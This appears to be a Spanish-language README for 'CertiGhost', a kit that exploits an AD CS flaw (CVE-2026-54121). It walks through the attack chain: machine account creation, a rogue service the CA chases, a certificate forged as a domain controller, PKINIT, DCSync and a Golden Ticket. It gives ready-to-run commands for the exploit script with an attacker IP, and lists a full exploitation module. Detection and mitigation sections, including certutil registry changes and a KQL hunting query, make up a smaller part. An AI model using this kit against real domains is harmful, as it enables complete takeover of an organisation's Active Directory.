
Kit de exploits para AD CS CVE-2026-54121: los usuarios de dominio con privilegios bajos se hacen pasar por un controlador de dominio, forjan certificados y comprometen el dominio mediante DCSync/Golden Ticket.
CertiGhost es una vulnerabilidad crítica (CVSS 8.8) en Active Directory Certificate Services (AD CS) que permite a un usuario de dominio con privilegios bajos suplantar un Controlador de Dominio y lograr el compromiso total del dominio.
El mecanismo de respaldo "chase" de AD CS permite que un solicitante proporcione atributos cdc (Client DC) y rmd (Remote Domain) en una solicitud de certificado. La CA sigue el destino cdc para resolver datos de identidad sin validar que sea un Controlador de Dominio legítimo.
Cadena de ataque:
ms-DS-MachineAccountQuota)cdc apuntando al host del atacantekrbtgt → Golden Ticket → Compromiso total del dominio| Documento | Contenido |
|---|---|
| USAGE.md | Guía de uso detallada con instrucciones paso a paso |
| DIAGRAM.md | Diagramas de estructura y visualización del flujo de ataque |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
Consulta DIAGRAM.md para ver los diagramas de arquitectura completos.
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuotaEDITF_ENABLECHA SECLIENTDCms-DS-MachineAccountQuota > 0 (predeterminado: 10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota en 0ENROLLEE_SUPPLIES_SUBJECT de las plantillascdc/rmdSegún el blog de Microsoft Threat Protection, implementa la siguiente consulta de búsqueda avanzada:
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| Archivo | Propósito |
|---|
certighost_exploit.py | Implementación de la cadena de explotación completa |
certighost_test.py | Toolkit de detección + explotación con CLI |
ad_detect.py | Escaneo rápido de detección dirigido |
test_exploit.py | Pruebas unitarias para todos los componentes del exploit (55 pruebas) |
requirements.txt | Dependencias de Python |